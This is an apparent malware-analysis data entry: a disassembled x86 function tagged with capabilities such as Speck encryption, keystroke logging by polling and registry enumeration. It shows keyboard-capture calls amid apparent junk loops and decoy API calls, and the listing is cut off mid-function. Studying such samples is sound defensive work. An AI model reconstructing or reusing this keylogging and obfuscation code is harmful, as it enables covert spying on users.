Function at 0x1001ef65
Capabilities:
Encrypt data using speck
Get disk size
Log keystrokes via polling
Query or enumerate registry key

Disassembly:
mov eax, 0x10069db7
call fcn.10069380
sub esp, 0x2e4
movdqa xmm0, xmmword [0x1000c620]
lea eax, [ebp - 0x1b4]
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor ebx, ebx
push dword [ebp + 8]
mov dword [ebp - 0x50], ecx
lea ecx, [ebp - 0x84]
push eax
lea eax, [ebp - 0x1c4]
mov dword [ebp - 0x44], edx
push eax
push ebx
movdqu xmmword [ebp - 0x1c4], xmm0
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
call fcn.100124d5
mov dword [ebp - 4], ebx
xor esi, esi
mov dword [ebp - 0x38], 0x6230
inc esi
cmp dword [ebp - 0x38], 0x6247
jle 0x1001f027
mov edi, ebx
mov ecx, ebx
mov dword [ebp - 0x24], ebx
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x268]
cdq
push edx
push eax
call fcn.1000da20
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001eff5
mov eax, dword [eax]
push eax
call fcn.100540b6
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x268]
call fcn.100109ad
mov ecx, dword [ebp - 0x24]
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x7072
jl 0x1001efd9
inc edi
cmp edi, 0x177d
jl 0x1001efd4
call dword [sym.imp.USER32.dll_CreatePopupMenu]
mov dword [ebp - 0x2c], 3
cmp dword [ebp - 0x38], 0x606f
jge 0x1001f042
push 0x10009000
call fcn.100540b6
pop ecx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x28], ebx
jmp 0x1001f05b
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x1b4], 0x3f36fc75
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x1001f04a
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], 3
jg 0x1001f272
mov dword [ebp - 0x30], 0xfffffffe
mov dword [ebp - 0x1c], 0x2625aa9c
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], 3
jg 0x1001f26a
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x18], 0xee85ec41
mov dword [ebp - 0x20], 0x89ced66e
mov dword [ebp - 0x3c], 0xfffffff8
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x28], ebx
jmp 0x1001f0ba
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x20c], ebx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1001f0ad
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp eax, 0x30467731
mov eax, dword [ebp - 0x18]
setne cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x18]
setge dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
mov eax, dword [eax + ecx*4]
xor ecx, ecx
mov dword [esi + edi*4], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, 0xfffb
setne cl
sub ecx, 0xcfcb8f1f
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
add ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
inc eax
add ecx, eax
mov dword [ebp - 0x208], ecx
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setle dl
xor eax, eax
cmp dword [esi + edi*4], edx
setg al
mov dword [ebp - 0x1b0], eax
cmp eax, dword [ebp - 0x20]
jl 0x1001f1ed
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], 0x3654
cmp dword [ebp - 0x24], 0x3931
jle 0x1001f19e
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
mov ecx, 0x10613338
cdq
push edx
push eax
call fcn.1001050c
inc edi
cmp edi, 0x6441
jl 0x1001f179
inc esi
cmp esi, 0x607e
jl 0x1001f177
mov byte [ebp - 0x11], bl
mov byte [ebp - 4], 3
cmp dword [ebp - 0x24], 0x3590
jge 0x1001f1db
mov edx, 0x10009068
mov ecx, 0x10613338
call fcn.10011fb6
jmp 0x1001f1db
mov dword [ebp - 4], ebx
cmp byte [ebp - 0x11], 0
je 0x1001f20d
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x1001f20d
mov dword [ebp - 0x18], 0xfffffffd
jmp 0x1001f207
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x84]
cmp dword [eax + ecx*4], ebx
jne 0x1001f20d
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffec
jle 0x1001f1f6
cmp dword [ebp - 0x1b0], ebx
je 0x1001f22f
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x84]
cmp dword [eax], ebx
je 0x1001f22f
xor esi, esi
inc esi
mov ecx, esi
jmp 0x1001f234
xor esi, esi
mov ecx, ebx
inc esi
xor eax, eax
cmp ecx, 0xe255
mov ecx, dword [ebp - 0x1c]
setg al
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx, 0x27fd
test eax, eax
jne 0x1001f25a
mov eax, ebx
cmp dword [ebp - 0x38], ebx
je 0x1001f25c
mov eax, esi
mov dword [ebp - 0x1b0], eax
inc dword [ebp - 0x30]
jmp 0x1001f07f
inc dword [ebp - 0x2c]
jmp 0x1001f064
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x84]
call fcn.100106a3
mov eax, dword [0x10614440]
test al, 1
jne 0x1001f318
or eax, esi
mov dword [0x10614440], eax
push ebx
mov dword [ebp - 4], 5
push ebx
mov dword [0x10614420], ebx
mov dword [0x10614424], ebx
call fcn.10021741
mov dword [0x10614420], eax
mov dword [0x10614428], ebx
mov dword [0x10614430], ebx
mov byte [ebp - 4], 7
mov ecx, 0x10614428
mov dword [ebp - 0xd0], eax
lea eax, [ebp - 0xd0]
push eax
push 0x10
push ebx
lea eax, [ebp - 0x194]
mov dword [0x1061443c], 0x3f800000
push eax
mov dword [0x1061442c], ebx
call fcn.10021519
push 0x1006aa4f
mov dword [0x10614434], 7
mov dword [0x10614438], 8
call fcn.1005408c
or dword [ebp - 4], 0xffffffff
pop ecx
push 4
lea ecx, [ebp - 0x140]
call fcn.10010621
mov dword [ebp - 0x28], ebx
jmp 0x1001f33d
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x140]
mov dword [eax + ecx*4], 0xffff
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x1001f32a
mov eax, dword [ebp - 0x140]
cmp dword [eax + 0xc], ebx
mov byte [ebp - 0x11], bl
je 0x1001f364
cmp byte [ebp - 0x11], 0
je 0x1001f38a
push 0x152d
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
jmp 0x1001f38a
cmp byte [ebp - 0x11], 0
je 0x1001f376
push 0x1776
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1001f38a
push 0x1219
call dword [sym.imp.USER32.dll_PostQuitMessage]
lea ecx, [ebp - 0x140]
call fcn.100106a3
imul eax, dword [ebp - 0x50], 0x2710
add eax, dword [ebp - 0x44]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x38], 0x926
cmp dword [ebp - 0x38], 0x978
jle 0x1001f428
push 0xba4
push ebx
push 0x1887
call dword [sym.imp.GDI32.dll_Polygon]
mov ecx, ebx
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov eax, ebx
mov dword [ebp - 0x24], ebx
and eax, edi
or eax, ecx
lea ecx, [ebp - 0x238]
cdq
push edx
push eax
call fcn.1000da20
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001f3ee
mov eax, dword [eax]
push eax
call fcn.100540b6
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x238]
call fcn.100109ad
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x416b
jl 0x1001f3d2
inc edi
cmp edi, 0x3f72
jl 0x1001f3cd
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x4c44
jl 0x1001f3cb
lea eax, [ebp - 0x88]
push eax
call fcn.10020e30
cmp dword [ebp - 0x38], 0x712
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
jge 0x1001f44d
push 0x100090fc
call fcn.100540b6
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x1c], 0x3ae35568
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 0xe
jl 0x1001f5a0
mov dword [ebp - 0x18], 0xa9831117
mov dword [ebp - 0x28], ebx
jmp 0x1001f482
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x184], 0xfffffffc
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x1001f471
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], esi
jg 0x1001f57c
mov dword [ebp - 0x34], 0x1135
cmp dword [ebp - 0x34], 0x14fb
jle 0x1001f53b
push 0x131e
push 0x190d
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, ebx
mov dword [ebp - 0x28], ebx
mov eax, ebx
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov ecx, ebx
mov dword [ebp - 0x38], 0x1033
mov dword [ebp - 0x24], ecx
shl eax, cl
lea ecx, [ebp - 0x298]
or eax, edx
cdq
push edx
push eax
call fcn.1000da20
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001f4ed
mov eax, dword [eax]
push eax
call fcn.100540b6
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x298]
call fcn.100109ad
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
add ecx, edi
dec dword [ebp - 0x38]
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x24], ecx
jne 0x1001f4d1
inc edi
cmp edi, 0x7c83
jl 0x1001f4c5
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x5529
jl 0x1001f4c3
inc edx
mov dword [ebp - 0x28], edx
cmp edx, 0x3e57
jl 0x1001f4be
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1001f55c
push ebx
push 0x1ca6
push ebx
push ebx
push 0x15c5
push 0x1f06
call dword [sym.imp.USER32.dll_ToAsciiEx]
cmp dword [ebp - 0x34], 0xe6f
jge 0x1001f570
push 0x10009170
call fcn.100540b6
pop ecx
or dword [ebp - 4], 0xffffffff
inc dword [ebp - 0x18]
jmp 0x1001f48b
mov dword [ebp - 0x18], ebx
jmp 0x1001f592
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x184], 0xd2e8588d
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001f581
inc dword [ebp - 0x1c]
jmp 0x1001f45b
mov eax, dword [ebp - 0x3c]
test eax, eax
je 0x1001f6bc
mov dword [ebp - 0x38], 0x6b23
cmp dword [ebp - 0x38], 0x6ec5
mov dword [ebp - 0xcc], eax
jle 0x1001f61a
push 0x4d6
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, ebx
mov eax, ebx
mov dword [ebp - 0x24], ebx
xor eax, edi
lea ecx, [ebp - 0x250]
cdq
push edx
push eax
call fcn.1000da20
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001f5ef
mov eax, dword [eax]
push eax
call fcn.100540b6
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x250]
call fcn.100109ad
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x545a
jl 0x1001f5d5
inc edi
cmp edi, 0x20ec
jl 0x1001f5d0
mov dword [ebp - 0x1c], 0x2c03342e
mov dword [ebp - 0x28], ebx
jmp 0x1001f633
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xe0], ebx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x1001f626
mov dword [ebp - 0x1c], 0xfffffff3
jmp 0x1001f67b
mov dword [ebp - 0x28], 0xfffffffd
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jl 0x1001f681
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x2c], ebx
jmp 0x1001f669
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xe0], esi
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x1001f65c
dec dword [ebp - 0x28]
jns 0x1001f650
cmp dword [ebp - 0x28], ebx
jne 0x1001f681
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffee
jne 0x1001f641
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1001f69f
push 0x1105
push 0x2523
push 0x22d8
call dword [sym.imp.GDI32.dll_LineTo]
cmp dword [ebp - 0x38], 0x68ac
jge 0x10020cf5
push 0x10009198
call fcn.100540b6
pop ecx
jmp 0x10020cf5
push esi
lea ecx, [ebp - 0xc0]
call fcn.10010621
push 3
mov dword [ebp - 4], 0xe
lea ecx, [ebp - 0x134]
pop edi
mov dword [ebp - 0x20], 0xfffffff6
mov dword [ebp - 0x2c], 0x6f1f
push edi
call fcn.10010621
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x18], ebx
jmp 0x1001f708
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc0]
mov dword [eax + ecx*4], 0xfffffffa
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1001f6f5
mov dword [ebp - 0x18], ebx
jmp 0x1001f725
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x134]
mov dword [eax + ecx*4], 0xca3c47a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x1001f712
mov eax, dword [ebp - 0xc0]
inc dword [eax]
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jl 0x1001f863
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x38], eax
push 4
lea ecx, [ebp - 0x128]
call fcn.10010621
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x3c], 0x69cd17cd
mov dword [ebp - 0x3c], 0x4ce10b49
mov dword [ebp - 0x28], ebx
jmp 0x1001f781
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x128]
mov dword [eax + ecx*4], 0xf8067e30
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x1001f76e
mov edi, dword [ebp - 0x128]
mov dword [edi + 8], ebx
xor ecx, ecx
mov dword [ebp - 0x24], 0x4b3f4b14
mov dword [ebp - 0x24], esi
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
sub edx, 0x5a1f307f
cmp eax, edx
setge cl
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x2c]
mov ecx, dword [edi + 8]
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0xc0]
cmp dword [eax + ecx*4], 0x2e96
mov ecx, dword [ebp - 0x38]
setl dl
xor eax, eax
cmp dword [ecx + 8], esi
sete al
xor ecx, ecx
cmp eax, 0xfffffff8
setle cl
xor eax, eax
cmp ecx, 0xffffffff
setne al
cmp edx, eax
jle 0x1001f7f9
mov eax, esi
cmp dword [ebp - 0x2c], ebx
jne 0x1001f7fb
mov eax, ebx
inc dword [edi + 8]
cmp dword [edi + 8], 0
mov dword [ebp - 0x3c], eax
jle 0x1001f790
mov dword [ebp - 0x2c], ebx
cmp dword [ebp - 0x2c], ebx
jl 0x1001f84c
mov dword [ebp - 0x18], ebx
jmp 0x1001f827
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc0]
mov dword [eax + ecx*4], 0xfffffff6
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x1001f814
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1001f847
push 0x190f
push ebx
push ebx
push 0x25f2
call dword [sym.imp.USER32.dll_MessageBoxW]
dec dword [ebp - 0x2c]
jns 0x1001f80f
lea ecx, [ebp - 0x128]
call fcn.100106a3
dec dword [ebp - 0x20]
jns 0x1001f747
push 3
pop edi
lea ecx, [ebp - 0x134]
call fcn.100106a3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc0]
call fcn.100106a3
mov eax, dword [0x10614440]
test al, 2
jne 0x1001f915
or eax, 2
mov dword [0x10614440], eax
push ebx
mov dword [ebp - 4], 0x10
push ebx
mov dword [0x10614400], ebx
mov dword [0x10614404], ebx
call fcn.10021741
mov dword [0x10614400], eax
mov dword [0x10614408], ebx
mov dword [0x10614410], ebx
mov byte [ebp - 4], 0x12
mov ecx, 0x10614408
mov dword [ebp - 0xe8], eax
lea eax, [ebp - 0xe8]
push eax
push 0x10
push ebx
lea eax, [ebp - 0x198]
mov dword [0x1061441c], 0x3f800000
push eax
mov dword [0x1061440c], ebx
call fcn.10021519
push 0x1006aa4a
mov dword [0x10614414], 7
mov dword [0x10614418], 8
call fcn.1005408c
or dword [ebp - 4], 0xffffffff
pop ecx
push 2
lea ecx, [ebp - 0x1a4]
call fcn.10010621
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x40], 0x7a6deec5
mov dword [ebp - 0x40], 0x2276b87d
push 2
mov dword [ebp - 0x40], 0x1fc9a57b
mov dword [ebp - 0x18], ebx
pop edx
jmp 0x1001f955
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1a4]
mov dword [eax + ecx*4], 0xec0a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1001f942
mov dword [ebp - 0x18], ebx
jmp 0x1001f970
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x220], 0x5047c4d1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1001f95f
mov dword [ebp - 0x18], ebx
jmp 0x1001f993
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1001f990
push esi
push 0xf41
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x1001f97a
mov dword [ebp - 0x18], ebx
jmp 0x1001f9ad
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x24], 0xfff8
dec dword [ebp - 0x24]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x18
jne 0x1001f99d
lea ecx, [ebp - 0x1a4]
call fcn.100106a3
xorps xmm0, xmm0
movdqu xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0x1c], 0x2c03342e
mov dword [ebp - 0x28], ebx
jmp 0x1001f9e2
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xe4], ebx
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jl 0x1001f9d5
mov dword [ebp - 0x1c], 0xfffffff3
jmp 0x1001fa2a
mov dword [ebp - 0x28], 0xfffffffd
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jl 0x1001fa30
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x2c], ebx
jmp 0x1001fa18
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xe4], esi
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x1001fa0b
dec dword [ebp - 0x28]
jns 0x1001f9ff
cmp dword [ebp - 0x28], ebx
jne 0x1001fa30
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffee
jne 0x1001f9f0
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1001fa4e
push 0x1105
push 0x2523
push 0x22d8
call dword [sym.imp.GDI32.dll_LineTo]
lea eax, [ebp - 0x50]
push eax
call fcn.10020e92
push esi
lea ecx, [ebp - 0x17c]
mov eax, dword [eax]
mov dword [ebp - 0x28], eax
call fcn.10010621
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x1c], ebx
jmp 0x1001fa8e
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x17c]
mov dword [eax + ecx*4], 9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001fa7b
mov dword [ebp - 0x34], ebx
jmp 0x1001fb35
mov dword [ebp - 0x1c], ebx
jmp 0x1001fab1
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x100], 0xa9ef72d4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1001faa0
mov dword [ebp - 0xfc], ebx
cmp dword [ebp - 0xfc], ebx
jl 0x1001fb32
mov dword [ebp - 0x1c], ebx
jmp 0x1001fada
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf4], 5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1001fac9
mov eax, dword [ebp - 0xec]
add eax, 0xb227
cmp eax, 0xffffffff
sbb eax, eax
xor edx, edx
neg eax
imul ecx, eax, 0x3a4c
mov eax, dword [ebp - 0xec]
add ecx, eax
mov eax, dword [ebp - 0xec]
cmp ecx, eax
mov ecx, dword [ebp - 0xec]
setne dl
sub ecx, dword [ebp - 0x24]
imul eax, edx, 0xa
neg ecx
sbb ecx, ecx
inc ecx
sub ecx, eax
xor eax, eax
cmp ecx, 0xfffffffc
setne al
mov dword [ebp - 0x24], eax
dec dword [ebp - 0xfc]
jns 0x1001fac4
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jle 0x1001fa9b
lea ecx, [ebp - 0x17c]
call fcn.100106a3
cmp byte [ebp + 0xc], 0
jne 0x1001fb5a
mov ecx, dword [ebp - 0x28]
test ecx, ecx
jne 0x1001fdde
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x3c], ebx
push 0xfffffffffffffffd
mov dword [ebp - 0x18], 0x7ee3
pop edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x34], 0xfffffffe
cmp dword [ebp - 0x2c], ebx
jne 0x1001fbc4
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x18]
dec eax
neg eax
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setge dl
cmp edx, dword [ebp - 0x18]
jle 0x1001fba8
mov ecx, esi
cmp dword [ebp - 0x20], ebx
jne 0x1001fbaa
mov ecx, ebx
xor eax, eax
mov edx, ebx
cmp ecx, 0x4f23
setge al
sub eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x2c]
cmp eax, 0x624c
jge 0x1001fbc6
mov edx, esi
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x18]
jle 0x1001fbe7
mov dword [ebp - 0x40], 0xfffffffb
mov dword [ebp - 0x20], edi
inc dword [ebp - 0x34]
jmp 0x1001fca7
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], 0x10
jmp 0x1001fc9d
mov dword [ebp - 0x24], 0x121f
mov dword [ebp - 0x3c], 0xa1ec8f94
mov dword [ebp - 0x1c], ebx
jmp 0x1001fc17
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x60], 0xbf81
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001fc09
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1001fc37
push ebx
push 0xcd3
push ebx
push 0x15c5
call dword [sym.imp.USER32.dll_SetTimer]
mov edx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x34]
neg edx
sbb edx, edx
inc edx
inc eax
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp edx, eax
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x60]
setle cl
sub edx, 2
neg edx
sbb edx, edx
inc edx
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp ecx, 0x5f4d
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, 0xfffffff8
setne al
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x3c], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x16
jg 0x1001fbf6
mov dl, byte [ebp + 0xc]
lea eax, [ebp - 0x2f0]
mov ecx, dword [ebp - 0x50]
push eax
call fcn.10012729
mov esi, eax
lea edi, [ebp - 0xb4]
pop ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor esi, esi
mov dword [ebp - 0x1c], ebx
inc esi
jmp 0x1001fcdc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x48], 0xfffffffb
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001fcce
mov dword [ebp - 0x48], 0xffffffec
jmp 0x1001fcfe
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1001fcfb
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 9
jg 0x1001fcea
cmp byte [ebp + 0xc], 0
je 0x1001fdde
cmp dword [ebp - 0xac], 0
je 0x1001fdde
mov dword [ebp - 0x3c], 0x98311173
mov dword [ebp - 0x38], 0x43eb6069
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x24], 0xfffffffe
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x18], ebx
jmp 0x1001fd54
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x170], 0x9d568d52
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001fd43
mov dword [ebp - 0x18], ebx
jmp 0x1001fd70
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x200], 0x563ffaf0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1001fd5f
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1001fd8b
push 0xf4e
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffW]
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x170], edx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push 4
pop ecx
sub ecx, edx
xor edx, edx
cmp ecx, eax
setle dl
xor eax, eax
cmp edx, 0x7dcd
setl al
mov dword [ebp - 0x1f8], eax
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x34], 0x256915a
mov dword [ebp - 0x24], 0xfa51669
mov dword [ebp - 0x1c], ebx
jmp 0x1001fdfe
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x188], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1001fdf1
mov dword [ebp - 0x34], ebx
jmp 0x1001fe2c
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x40], 0x1651328f
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x1c], ebx
jmp 0x1001fe24
inc dword [ebp - 0x24]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x1001fe1e
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], ebx
jle 0x1001fe08
mov dword [ebp - 0x24], 0xc2
cmp dword [ebp - 0x24], 0x221
jle 0x1001fea6
mov ecx, ebx
mov dword [ebp - 0x20], ebx
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
cdq
idiv edi
mov eax, ecx
lea ecx, [ebp - 0x280]
sub eax, edx
cdq
push edx
push eax
call fcn.1000da20
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001fe6c
mov eax, dword [eax]
push eax
call fcn.100540b6
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x280]
call fcn.100109ad
mov eax, dword [ebp - 0x1c]
inc edi
mov ecx, dword [ebp - 0x20]
cmp edi, 0xc9d
jl 0x1001fe4d
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x38f7
jl 0x1001fe4b
inc ecx
mov dword [ebp - 0x20], ecx
